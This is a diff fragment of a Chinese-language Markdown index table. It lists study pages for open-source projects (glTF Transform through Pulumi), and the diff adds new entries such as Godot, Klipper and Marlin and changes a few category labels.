+| `gltf-transform` | [glTF Transform — glTF 资产工具链](/study/projects/gltf-transform/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `go-ethereum` | [Go-Ethereum (Geth) — 以太坊主流 Go 客户端](/study/projects/go-ethereum/) | ✅ v3 | 区块链 | 链与合约 |
 | `go-zero` | [go-zero — 一份契约文件生成整套 Go 微服务](/study/projects/go-zero/) | ✅ v3 | 后端 API | Web 后端 |
+| `godot` | [Godot Engine — 开源游戏引擎 + 编辑器](/study/projects/godot/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `got` | [got — Node 端 HTTP 客户端的瑞士军刀](/study/projects/got/) | ✅ v3 | 后端 API | projects |
 | `gqlgen` | [gqlgen — Go 用 schema 先写好再让编译器生成 GraphQL server](/study/projects/gqlgen/) | ✅ v3 | 后端 API | Web 后端 |
 | `gradio` | [Gradio — ML 模型 demo 框架](/study/projects/gradio/) | ✅ v3 | 数据可视化 | 数据可视化 |
@@ -1443,6 +1581,7 @@ sidebar:
 | `grape` | [Grape — 用 Ruby DSL 专写 REST API 的轻量框架](/study/projects/grape/) | ✅ v3 | 后端 API | Web 后端 |
 | `graphology` | [Graphology — 浏览器里的图数据结构与算法库](/study/projects/graphology/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `graphql-yoga` | [GraphQL Yoga — 跨运行时的轻量 GraphQL 服务器](/study/projects/graphql-yoga/) | ✅ v3 | 后端 API | Web 后端 |
+| `grbl` | [Grbl — 让 Arduino 听懂 G-code 的 CNC「翻译官」](/study/projects/grbl/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `greenplum-db` | [Greenplum — Postgres 改的 MPP 数仓](/study/projects/greenplum-db/) | ✅ v3 | 数据库 | 存储与查询 |
 | `gron` | [gron — 把 JSON 拍平成 grep 能吃的赋值行](/study/projects/gron/) | ✅ v3 | CLI | 命令行工具 |
 | `grpc-go` | [gRPC-Go — Google RPC 框架的官方 Go 实现](/study/projects/grpc-go/) | ✅ v3 | 后端 API | Web 后端 |
@@ -1458,6 +1597,7 @@ sidebar:
 | `hardhat` | [Hardhat — Nomic Foundation 的 JS 合约框架](/study/projects/hardhat/) | ✅ v3 | 区块链 | 链与合约 |
 | `haystack` | [Haystack — 企业 NLP / RAG 流水线](/study/projects/haystack/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `heaps` | [Heaps — 用 Haxe 一次编写、发布到任何平台的游戏引擎](/study/projects/heaps/) | ✅ v3 | 图形学 | 渲染与图形 |
+| `hedgedoc` | [HedgeDoc — 协作 Markdown 编辑](/study/projects/hedgedoc/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `helidon` | [Helidon — 让 Java 微服务用同步代码写出反应式性能](/study/projects/helidon/) | ✅ v3 | 后端 API | Web 后端 |
 | `helix` | [Helix — Rust 后现代模态编辑器，LSP 和 Tree-sitter 默认开机](/study/projects/helix/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `helm` | [Helm — Kubernetes 包管理器](/study/projects/helm/) | ✅ v3 | 基础设施 | DevOps 与运维 |
@@ -1465,17 +1605,20 @@ sidebar:
 | `hnswlib` | [hnswlib — HNSW 论文作者写的参考实现，业界向量库都基于它](/study/projects/hnswlib/) | ✅ v3 | 数据库 | 存储与查询 |
 | `hocuspocus` | [Hocuspocus — 给 Yjs 配一个能直接上线的协作后端](/study/projects/hocuspocus/) | ✅ v3 | 后端 API | Web 后端 |
 | `holoviews` | [HoloViews — 一份声明 ⇄ 多后端自动绘图](/study/projects/holoviews/) | ✅ v3 | 数据可视化 | 数据可视化 |
+| `home-assistant` | [Home Assistant Core — 开源智能家居的「中央调度台」](/study/projects/home-assistant/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `homebrew` | [Homebrew — macOS 上一行命令装好软件的包管理器](/study/projects/homebrew/) | ✅ v3 | CLI | 命令行工具 |
 | `hono` | [Hono — 多运行时 Web 框架](/study/projects/hono/) | ✅ v3 | 后端 API | Web 框架 |
 | `hot-chocolate` | [Hot Chocolate — .NET 里 code-first 写 GraphQL 服务器](/study/projects/hot-chocolate/) | ✅ v3 | 后端 API | Web 后端 |
 | `htop` | [htop — top 的彩色交互替代（鼠标点选 / 树视图 / 过滤）](/study/projects/htop/) | ✅ v3 | CLI | 命令行工具 |
 | `httpie` | [HTTPie — curl 的人话版本](/study/projects/httpie/) | ✅ v3 | CLI | 命令行工具 |
+| `hydra-synth` | [Hydra — 实时视觉合成 Livecoding](/study/projects/hydra-synth/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `i18next` | [i18next — 让一份 JS 代码同时讲几十种语言](/study/projects/i18next/) | ✅ v3 | 后端 API | 前端国际化 |
 | `imagemagick` | [ImageMagick — 图像处理瑞士军刀](/study/projects/imagemagick/) | ✅ v3 | 通信 | 音视频媒体 |
 | `immer` | [Immer — 用 Proxy 让你写"看起来可改"的代码却产出不可变状态](/study/projects/immer/) | ✅ v3 | 后端 API | projects |
 | `immich` | [Immich — 把家庭照片从别人的云里救回自己机器](/study/projects/immich/) | ✅ v3 | 后端 API | 自托管应用 |
 | `influxdb` | [InfluxDB — 专用时序数据库](/study/projects/influxdb/) | ✅ v3 | 数据库 | 存储与查询 |
 | `ink` | [ink — 用 React 组件树写终端 CLI](/study/projects/ink/) | ✅ v3 | CLI | 命令行工具 |
+| `inkscape` | [Inkscape — 矢量图形编辑器](/study/projects/inkscape/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `inngest` | [Inngest — 让 async 函数自动从断点恢复的工作流引擎](/study/projects/inngest/) | ✅ v3 | 后端 API | projects |
 | `insightface` | [InsightFace — 人脸识别 / 检测 SOTA](/study/projects/insightface/) | ✅ v3 | 通信 | 音视频媒体 |
 | `internvideo` | [InternVideo — 上海 AI Lab 视频基础模型套件](/study/projects/internvideo/) | ✅ v3 | 机器学习 | 视频理解 |
@@ -1494,10 +1637,13 @@ sidebar:
 | `jimp` | [jimp — 哪都能跑的纯 JS 图像处理库](/study/projects/jimp/) | ✅ v3 | CLI | 工具库 |
 | `jitsi-meet` | [Jitsi Meet — 开源视频会议](/study/projects/jitsi-meet/) | ✅ v3 | 通信 | 音视频媒体 |
 | `jitsi-videobridge` | [Jitsi Videobridge — 只读 RTP 包头的 WebRTC 视频转发器](/study/projects/jitsi-videobridge/) | ✅ v3 | 通信 | 实时通信 |
+| `joplin` | [Joplin — 开源 Evernote 替代](/study/projects/joplin/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `jotai` | [Jotai — 原子化 React 状态管理](/study/projects/jotai/) | ✅ v3 | 后端 API | 状态管理 |
 | `jq` | [jq — JSON 的 sed/awk](/study/projects/jq/) | ✅ v3 | CLI | 命令行工具 |
 | `js-joda` | [js-joda — 把 Java 的 java.time 整套搬进 JS](/study/projects/js-joda/) | ✅ v3 | 后端 API | projects |
 | `jspdf` | [jsPDF — 浏览器里直接生成 PDF](/study/projects/jspdf/) | ✅ v3 | 数据可视化 | 数据可视化 |
+| `jupyter-notebook` | [Jupyter Notebook — 经典数据科学笔记本](/study/projects/jupyter-notebook/) | ✅ v3 | CLI | 编辑器与 IDE |
+| `jupyterlab` | [JupyterLab — 下一代 Jupyter IDE](/study/projects/jupyterlab/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `just` | [just — 把 make 拆成两半，只留 ‘命令编排’ 那一半](/study/projects/just/) | ✅ v3 | CLI | 命令行工具 |
 | `k3s` | [k3s — 把完整 K8s 塞进一个 60 MB 的二进制](/study/projects/k3s/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `k6` | [k6 — 用 JS 写脚本的现代负载测试器](/study/projects/k6/) | ✅ v3 | 基础设施 | DevOps 与运维 |
@@ -1511,11 +1657,13 @@ sidebar:
 | `keras` | [Keras 3 — 一份模型代码跑三套后端](/study/projects/keras/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `kind` | [kind — 用 Docker 容器当 K8s 节点的本地集群](/study/projects/kind/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `kitty` | [kitty — GPU 加速终端，把分屏和图片协议焊在一个二进制里](/study/projects/kitty/) | ✅ v3 | CLI | 命令行工具 |
+| `klipper` | [Klipper — 把 3D 打印机的「大脑」和「手脚」拆开的固件架构](/study/projects/klipper/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `koa` | [Koa — async/await + ctx 对象 + 洋葱模型 的极简 Node.js web 框架](/study/projects/koa/) | ✅ v3 | CLI | 工具库 |
 | `kong` | [Kong — 基于 nginx + Lua 的云原生 API 网关](/study/projects/kong/) | ✅ v3 | 后端 API | Web 后端 |
 | `konva` | [Konva — 给 HTML5 Canvas 装一棵会响应的节点树](/study/projects/konva/) | ✅ v3 | 后端 API | 前端图形 / Canvas 2D |
 | `krakend` | [KrakenD — 把多个后端聚合成一次响应的高性能 API 网关](/study/projects/krakend/) | ✅ v3 | 后端 API | Web 后端 |
 | `kratos` | [kratos — Go 微服务一锅出 HTTP 和 gRPC 两份服务](/study/projects/kratos/) | ✅ v3 | 后端 API | Web 后端 |
+| `krita` | [Krita — 数字绘画专业编辑器](/study/projects/krita/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `ktor` | [Ktor — 用 Kotlin DSL 拼出来的异步 Web 框架](/study/projects/ktor/) | ✅ v3 | 后端 API | Web 后端 |
 | `kubebuilder` | [Kubebuilder — 写 K8s Operator 的官方脚手架](/study/projects/kubebuilder/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `kubectx` | [kubectx — kubectl 切换 context 和 namespace 的两行命令](/study/projects/kubectx/) | ✅ v3 | CLI | 命令行工具 |
@@ -1553,11 +1701,13 @@ sidebar:
 | `lima` | [Lima — macOS 上跑 Linux 虚拟机的轻量 CLI](/study/projects/lima/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `lingui` | [Lingui — 写自然字符串，编译期自动提取 i18n msgid](/study/projects/lingui/) | ✅ v3 | 后端 API | projects / 前端国际化 |
 | `linkerd2` | [Linkerd 2 — 用 Rust 写的轻量服务网格](/study/projects/linkerd2/) | ✅ v3 | 基础设施 | DevOps 与运维 |
+| `linuxcnc` | [LinuxCNC — 在 Linux 上跑完整 CNC「机床操作系统」](/study/projects/linuxcnc/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `listr2` | [listr2 — 把 CLI 任务跑成一棵会自己画进度的树](/study/projects/listr2/) | ✅ v3 | CLI | 工具库 |
 | `lite-xl` | [Lite XL — 用 Lua 驱动一切的极简文本编辑器](/study/projects/lite-xl/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `litellm-proxy` | [LiteLLM Proxy — 自托管的 LLM 统一网关](/study/projects/litellm-proxy/) | ✅ v3 | 机器学习 | ai-eng |
 | `litestar` | [Litestar — 类型驱动的 ASGI 框架（原 Starlite）](/study/projects/litestar/) | ✅ v3 | 后端 API | Web 后端 |
 | `litmus` | [LitmusChaos — 给 K8s 集群安排"故意搞坏"的演习](/study/projects/litmus/) | ✅ v3 | 基础设施 | DevOps 与运维 |
+| `littlefs` | [littlefs — 给 MCU 用的掉电安全小文件系统](/study/projects/littlefs/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `liveblocks` | [Liveblocks — 多人协作的托管基础设施](/study/projects/liveblocks/) | ✅ v3 | 通信 | 实时通信 |
 | `livekit` | [LiveKit — 开源实时多媒体 SFU](/study/projects/livekit/) | ✅ v3 | 通信 | 音视频媒体 |
 | `livekit-flutter` | [LiveKit Flutter SDK — 一份 Dart 代码连通六个平台的实时音视频](/study/projects/livekit-flutter/) | ✅ v3 | 通信 | 实时通信 |
@@ -1571,12 +1721,15 @@ sidebar:
 | `lmms-eval` | [LMMs-Eval — 多模态大模型统一评测框架](/study/projects/lmms-eval/) | ✅ v3 | 机器学习 | 视频理解 |
 | `locust` | [Locust — 用 Python 写压测脚本的分布式负载工具](/study/projects/locust/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `lodestar` | [Lodestar — ChainSafe 的 TypeScript 以太坊共识层客户端](/study/projects/lodestar/) | ✅ v3 | 区块链 | 链与合约 |
+| `logseq` | [Logseq — 块结构离线知识库](/study/projects/logseq/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `loki` | [Loki — 给日志做 Prometheus，只索引标签不索引内容](/study/projects/loki/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `longhorn` | [Longhorn — K8s 原生的轻量分布式块存储](/study/projects/longhorn/) | ✅ v3 | 基础设施 | DevOps 与运维 |
+| `lora-mac-node` | [LoRaMac-node — LoRaWAN 终端协议栈参考实现零基础学习笔记](/study/projects/lora-mac-node/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `lottie` | [lottie-web — 把设计师的 AE 工程变成跨端可渲染 JSON 的播放器](/study/projects/lottie/) | ⭐ Season | 数据可视化 | 动画 |
 | `love2d` | [LÖVE — Lua 2D 游戏框架](/study/projects/love2d/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `lsd` | [lsd — 现代 ls 替代（LSDeluxe，主题化 + 图标，不押 git）](/study/projects/lsd/) | ✅ v3 | CLI | 命令行工具 |
 | `lucia` | [Lucia — 主动把自己降级为"学习资源"的 TS 认证库](/study/projects/lucia/) | ✅ v3 | CLI | 工具库 |
+| `luma-gl` | [luma.gl — vis.gl WebGL2/WebGPU 抽象](/study/projects/luma-gl/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `lunarvim` | [LunarVim — 一体化 Neovim IDE 层](/study/projects/lunarvim/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `luxon` | [Luxon — 如果今天重写 Moment 应该长什么样](/study/projects/luxon/) | ✅ v3 | 后端 API | projects / 前端工具库 |
 | `lwip` | [lwIP — ~40KB ROM 跑完整 TCP/IP 的嵌入式网络栈](/study/projects/lwip/) | ✅ v3 | 操作系统 | 嵌入式 |
@@ -1588,11 +1741,15 @@ sidebar:
 | `mapbox-gl-js` | [Mapbox GL JS — 矢量瓦片 + WebGL 客户端渲染地图](/study/projects/mapbox-gl-js/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `maplibre-gl` | [MapLibre GL JS — Mapbox v1 时代的社区分叉](/study/projects/maplibre-gl/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `mariadb-server` | [mariadb-server — MySQL 原作者带走的那一支](/study/projects/mariadb-server/) | ✅ v3 | 数据库 | 存储与查询 |
+| `marimo` | [marimo — 反应式 Python 笔记本](/study/projects/marimo/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `markdown-it` | [markdown-it — 把 Markdown 文本变成 HTML 的工业级解析器](/study/projects/markdown-it/) | ✅ v3 | 后端 API | projects / 前端工具链 |
 | `marked` | [marked — 用一堆正则把 markdown 变成 HTML 的轻量解析器](/study/projects/marked/) | ✅ v3 | 后端 API | projects |
+| `marktext` | [MarkText — 实时预览 Markdown 编辑器](/study/projects/marktext/) | ✅ v3 | CLI | 编辑器与 IDE |
+| `marlin` | [Marlin Firmware — 3D 打印机的「一体式管家固件」](/study/projects/marlin/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `matplotlib` | [matplotlib — Python 绘图基石](/study/projects/matplotlib/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `matrix-js-sdk` | [matrix-js-sdk — Matrix Web/Node 端的"老大哥"客户端 SDK](/study/projects/matrix-js-sdk/) | ✅ v3 | 通信 | 实时通信 |
 | `matrix-rust-sdk` | [matrix-rust-sdk — Matrix 客户端的"共享发动机"](/study/projects/matrix-rust-sdk/) | ✅ v3 | 通信 | 实时通信 |
+| `matter-js` | [Matter.js — JS 2D 刚体物理](/study/projects/matter-js/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `mattermost` | [Mattermost — Slack 的开源自托管替代（Go 服务端 + React 客户端）](/study/projects/mattermost/) | ✅ v3 | 通信 | 实时通信 |
 | `mbedtls` | [Mbed TLS — 嵌入式设备的 TLS 1.3 / X.509 / 加密原语库](/study/projects/mbedtls/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `mcp-ts-sdk` | [MCP TS SDK — Model Context Protocol TypeScript 实现](/study/projects/mcp-ts-sdk/) | ✅ v3 | 机器学习 | 智能体与 LLM |
@@ -1603,6 +1760,7 @@ sidebar:
 | `melonjs` | [melonJS — 轻量 JS 2D 引擎](/study/projects/melonjs/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `memcached` | [Memcached — 经典内存缓存](/study/projects/memcached/) | ✅ v3 | 数据库 | 存储与查询 |
 | `memgraph` | [Memgraph — 内存图数据库](/study/projects/memgraph/) | ✅ v3 | 数据库 | 存储与查询 |
+| `mender` | [Mender — 嵌入式 Linux 的 OTA 空中升级管家](/study/projects/mender/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `mermaid` | [Mermaid — 用文本写图，code review 友好的图表语言](/study/projects/mermaid/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `meshroom` | [Meshroom — AliceVision 节点式 GUI](/study/projects/meshroom/) | ✅ v3 | 通信 | 音视频媒体 |
 | `metabase` | [Metabase — 让非技术人查数](/study/projects/metabase/) | ✅ v3 | 数据可视化 | 数据可视化 |
@@ -1618,7 +1776,7 @@ sidebar:
 | `milvus` | [Milvus — 开源向量数据库](/study/projects/milvus/) | 🗄 存量 | 数据库 | 存储与查询 |
 | `minetest` | [Luanti / Minetest — 给自己造一个开源体素游戏引擎](/study/projects/minetest/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `minikube` | [minikube — 一条命令在笔记本上起一个真 K8s 集群](/study/projects/minikube/) | ✅ v3 | 基础设施 | DevOps 与运维 |
-| `minio` | [MinIO — S3 兼容对象存储](/study/projects/minio/) | ✅ v3 | 数据库 | 数据库 / 存储 |
+| `minio` | [MinIO — S3 兼容对象存储](/study/projects/minio/) | ✅ v3 | 数据库 | databases-storage |
 | `minisearch` | [minisearch — 浏览器里的小型全文搜索引擎](/study/projects/minisearch/) | ✅ v3 | 后端 API | projects |
 | `mise` | [mise — 一条命令切换项目用的 Node/Python/Go 版本](/study/projects/mise/) | ✅ v3 | CLI | 命令行工具 |
 | `mlflow` | [MLflow — 端到端 ML 生命周期](/study/projects/mlflow/) | ✅ v3 | 机器学习 | 数据科学与 AI |
@@ -1631,18 +1789,25 @@ sidebar:
 | `monero` | [Monero — 默认隐私的 PoW 加密货币](/study/projects/monero/) | ✅ v3 | 区块链 | 链与合约 |
 | `mongo` | [MongoDB — 文档数据库服务端开源实现](/study/projects/mongo/) | ✅ v3 | 数据库 | 存储与查询 |
 | `mongodb` | [MongoDB — 文档型 NoSQL 数据库](/study/projects/mongodb/) | ✅ v3 | 数据库 | 数据库 / NoSQL |
+| `mosquitto` | [Eclipse Mosquitto — 轻量级 MQTT 消息代理，物联网的「社区广播站」](/study/projects/mosquitto/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `motion-one` | [Motion One — 把动画交给浏览器自己跑](/study/projects/motion-one/) | ✅ v3 | 后端 API | projects / 前端动画 |
 | `move-language` | [Move — 资源型智能合约语言](/study/projects/move-language/) | ✅ v3 | 区块链 | 链与合约 |
+| `moveit2` | [MoveIt 2 — 机械臂运动规划零基础入门](/study/projects/moveit2/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `msw` | [MSW — 让 mock 不改业务代码，在网络层透明拦截](/study/projects/msw/) | ✅ v3 | 后端 API | projects / 测试工具 |
 | `mumble` | [Mumble — 游戏圈用了 20 年的低延迟开源语音](/study/projects/mumble/) | ✅ v3 | 通信 | 实时通信 |
 | `mysql` | [MySQL — 全球最流行关系数据库](/study/projects/mysql/) | ✅ v3 | 数据库 | 数据库 |
 | `mysql-server` | [mysql-server — 一个仓库装下整套 OLTP 引擎](/study/projects/mysql-server/) | ✅ v3 | 数据库 | 存储与查询 |
 | `nanobrowser` | [nanobrowser — 把 Chrome 扩展本身当成 AI agent 的运行沙箱](/study/projects/nanobrowser/) | ✅ v3 | 机器学习 | AI agent |
+| `nanomq` | [NanoMQ — 面向 IoT 边缘的超轻量 MQTT Broker](/study/projects/nanomq/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `nanostores` | [nanostores — 不到 1 KB 的"框架无关"状态库](/study/projects/nanostores/) | ✅ v3 | 后端 API | projects / 前端 |
+| `native-base` | [NativeBase — 跨平台 React Native UI 与设计系统](/study/projects/native-base/) | ✅ v3 | 后端 API | 移动端 |
 | `nativescript` | [NativeScript — JS/TS 直接调原生 API，无 WebView](/study/projects/nativescript/) | ✅ v3 | 后端 API | 移动端 |
+| `nativewind` | [NativeWind — 在 React Native 里用 Tailwind CSS 写样式](/study/projects/nativewind/) | ✅ v3 | 后端 API | 移动端 |
 | `nats` | [NATS — 极简云原生消息系统](/study/projects/nats/) | ✅ v3 | 分布式系统 | 消息队列 |
 | `nats-server` | [NATS Server — 极简云原生消息中间件](/study/projects/nats-server/) | ✅ v3 | 数据库 | 存储与查询 |
+| `navigation2` | [Navigation2 (Nav2) — 移动机器人导航零基础入门](/study/projects/navigation2/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `ncdu` | [ncdu — du 的交互式 TUI，扫一次就能在终端里上下键钻目录删大文件](/study/projects/ncdu/) | ✅ v3 | CLI | 命令行工具 |
+| `ncnn` | [ncnn — 手机上的「无依赖神经网络放映机」](/study/projects/ncnn/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `nebula` | [NebulaGraph — 国产分布式图数据库](/study/projects/nebula/) | ✅ v3 | 数据库 | 存储与查询 |
 | `neo4j` | [Neo4j — 主流图数据库](/study/projects/neo4j/) | ✅ v3 | 数据库 | 存储与查询 |
 | `neovim` | [Neovim — Lua 可扩展 vim 现代分叉](/study/projects/neovim/) | ✅ v3 | CLI | 编辑器与 IDE |
@@ -1680,10 +1845,12 @@ sidebar:
 | `ofetch` | [ofetch — Nuxt 默认的现代 fetch 包装](/study/projects/ofetch/) | ✅ v3 | 后端 API | 前端工程化 |
 | `ogre` | [OGRE — 老牌 C++ 3D 渲染引擎，把 GPU API 差异藏进场景图](/study/projects/ogre/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `oh-my-posh` | [oh-my-posh — 一份配置让所有 shell 都长一个样](/study/projects/oh-my-posh/) | ✅ v3 | CLI | 命令行工具 |
-| `ollama` | [Ollama — 本地跑 LLM 的工具](/study/projects/ollama/) | ✅ v3 | 机器学习 | 模型与训练 |
+| `ollama` | [Ollama — 本地跑 LLM 的工具](/study/projects/ollama/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `open-sora` | [Open-Sora — 把 Sora 黑盒一比一开源的视频生成项目](/study/projects/open-sora/) | ✅ v3 | 机器学习 | 数据科学与 AI |
-| `openai-agents-sdk` | [OpenAI Agents SDK — 让多个 agent 协作的轻量框架](/study/projects/openai-agents-sdk/) | ✅ v3 | 机器学习 | AI 工程 |
+| `openai-agents-sdk` | [OpenAI Agents SDK — 让多个 agent 协作的轻量框架](/study/projects/openai-agents-sdk/) | ✅ v3 | 机器学习 | ai-agent-infra |
+| `opencode` | [OpenCode — SST 出品的终端 AI IDE](/study/projects/opencode/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `opencv` | [OpenCV — 开源计算机视觉库与跨平台图像视频处理](/study/projects/opencv/) | ✅ v3 | 通信 | 音视频媒体 |
+| `openhab` | [openHAB Core — Java OSGi 智能家居的「标准化物业中枢」](/study/projects/openhab/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `openlayers` | [OpenLayers — 全功能 GIS 前端](/study/projects/openlayers/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `openmeetings` | [Apache OpenMeetings — 单 Java 进程跑完整 Web 会议系统](/study/projects/openmeetings/) | ✅ v3 | 通信 | 实时通信 |
 | `openrct2` | [OpenRCT2 — 把一款 x86 汇编游戏彻底用 C++ 重写](/study/projects/openrct2/) | ✅ v3 | 图形学 | 渲染与图形 |
@@ -1695,6 +1862,7 @@ sidebar:
 | `opentofu` | [OpenTofu — 社区接手的 Terraform](/study/projects/opentofu/) | ✅ v3 | 基础设施 | DevOps 与运维 |
 | `opentsdb` | [OpenTSDB — HBase 上的第一代分布式 TSDB](/study/projects/opentsdb/) | ✅ v3 | 数据库 | 存储与查询 |
 | `openvidu` | [OpenVidu — 把 Kurento 包成开箱即用的视频会议 PaaS](/study/projects/openvidu/) | ✅ v3 | 通信 | 实时通信 |
+| `openvscode-server` | [OpenVSCode Server — VS Code Server 上游](/study/projects/openvscode-server/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `openwrt` | [OpenWrt — 路由器 / 网关上的可扩展 Linux 发行版](/study/projects/openwrt/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `openzeppelin-contracts` | [OpenZeppelin Contracts — 以太坊智能合约的事实标准库](/study/projects/openzeppelin-contracts/) | ✅ v3 | 区块链 | 链与合约 |
 | `operator-sdk` | [Operator SDK — 写 K8s Operator 的"豪华套餐"版脚手架](/study/projects/operator-sdk/) | ✅ v3 | 基础设施 | DevOps 与运维 |
@@ -1704,8 +1872,11 @@ sidebar:
 | `ora` | [ora — 终端 spinner 用 ANSI 反复擦写同一行](/study/projects/ora/) | ✅ v3 | CLI | 命令行工具 |
 | `orleans` | [Orleans — 让分布式服务写起来像单机对象](/study/projects/orleans/) | ✅ v3 | 后端 API | Web 后端 |
 | `otel-collector` | [OpenTelemetry Collector — 可观测性数据的统一中转站](/study/projects/otel-collector/) | ✅ v3 | 基础设施 | 基础设施 / 可观测性 |
+| `outline` | [Outline — 团队 Wiki 协作平台](/study/projects/outline/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `ovenmediaengine` | [OvenMediaEngine — 亚秒级直播流媒体服务器](/study/projects/ovenmediaengine/) | ✅ v3 | 通信 | 实时通信 |
+| `overleaf` | [Overleaf — 在线 LaTeX 协作](/study/projects/overleaf/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `oxc` | [oxc — Rust 写一整套 JS/TS 工具链的勇气](/study/projects/oxc/) | ✅ v3 | 编译器 | projects / 编译器 |
+| `paddle-lite` | [Paddle Lite — 把飞桨模型装进手机里的「端侧放映机」](/study/projects/paddle-lite/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `paddleocr` | [PaddleOCR — 中文 OCR 最强开源方案](/study/projects/paddleocr/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `panda3d` | [Panda3D — Disney/CMU 出品的开源 3D 游戏引擎](/study/projects/panda3d/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `pandas` | [pandas — Python 表格数据事实标准](/study/projects/pandas/) | ✅ v3 | 机器学习 | 数据科学与 AI |
@@ -1722,12 +1893,14 @@ sidebar:
 | `pgvector` | [pgvector — PostgreSQL 向量扩展](/study/projects/pgvector/) | ✅ v3 | 数据库 | 数据库 / 向量 |
 | `phaser` | [Phaser — 在浏览器里写 2D 游戏的完整工具箱](/study/projects/phaser/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `phoenix` | [Phoenix — Elixir/OTP 上的实时 web 框架](/study/projects/phoenix/) | ✅ v3 | 后端 API | Web 后端 |
+| `picogl` | [PicoGL.js — 极简 WebGL2 包装](/study/projects/picogl/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `pillow` | [Pillow — Python 图像处理库与 PIL 现代继任者](/study/projects/pillow/) | ✅ v3 | 通信 | 音视频媒体 |
 | `pino` | [pino — 日志不该阻塞热路径](/study/projects/pino/) | ✅ v3 | 后端 API | projects / Node.js |
 | `pinot` | [Apache Pinot — LinkedIn 起家的实时 OLAP](/study/projects/pinot/) | ✅ v3 | 数据库 | 存储与查询 |
 | `pion` | [Pion — 纯 Go 实现的 WebRTC 协议栈](/study/projects/pion/) | ✅ v3 | 通信 | 音视频媒体 |
 | `piper` | [Piper — 端侧低延迟 TTS](/study/projects/piper/) | ✅ v3 | 机器学习 | 数据科学与 AI |
 | `pixi` | [PixiJS — 浏览器里画 2D 的高性能 GPU 引擎](/study/projects/pixi/) | ✅ v3 | 图形学 | projects / 图形渲染 |
+| `planck` | [Planck.js — Box2D 纯 JS 移植](/study/projects/planck/) | ✅ v3 | 图形学 | 渲染与图形 |
 | `plane` | [Plane — 把 Linear 的体感、Jira 的覆盖、GitHub Projects 的开放，全部塞进一个 turborepo + Django](/study/projects/plane/) | ⭐ Season | 后端 API | SaaS 应用 |
 | `platformio-core` | [PlatformIO Core — 一套命令行，统管千块嵌入式开发板](/study/projects/platformio-core/) | ✅ v3 | 操作系统 | 嵌入式 |
 | `playcanvas` | [PlayCanvas — 浏览器里跑的 3D 游戏引擎](/study/projects/playcanvas/) | ✅ v3 | 图形学 | 渲染与图形 |
@@ -1736,6 +1909,7 @@ sidebar:
 | `plotly-py` | [Plotly.py — DataFrame 一行变交互图表](/study/projects/plotly-py/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `plotnine` | [plotnine — Python 复刻 R 的 ggplot2](/study/projects/plotnine/) | ✅ v3 | 数据可视化 | 数据可视化 |
 | `plug` | [Plug — 把 HTTP 中间件写成『conn 进 conn 出』的纯函数](/study/projects/plug/) | ✅ v3 | 后端 API | Web 后端 |
+| `pluto-jl` | [Pluto.jl — Julia 反应式笔记本](/study/projects/pluto-jl/) | ✅ v3 | CLI | 编辑器与 IDE |
 | `pnpm` | [pnpm — 全机器只存一份的 Node 包管理器](/study/projects/pnpm/) | ✅ v3 | CLI | projects / 工具 |
 | `pocketbase` | [PocketBase — 一个 Go 二进制就是完整的后端](/study/projects/pocketbase/) | ✅ v3 | 后端 API | Web 后端 |
 | `podman` | [Podman — 无 daemon 容器引擎](/study/projects/podman/) | ✅ v3 | 基础设施 | DevOps 与运维 |
@@ -1762,6 +1936,7 @@ sidebar:
 | `pulumi` | [Pulumi — 用真正的编程语言写云资源清单](/study/projects/pulumi/) | ✅ v3 | 基础设施 | DevOps 与运维 |
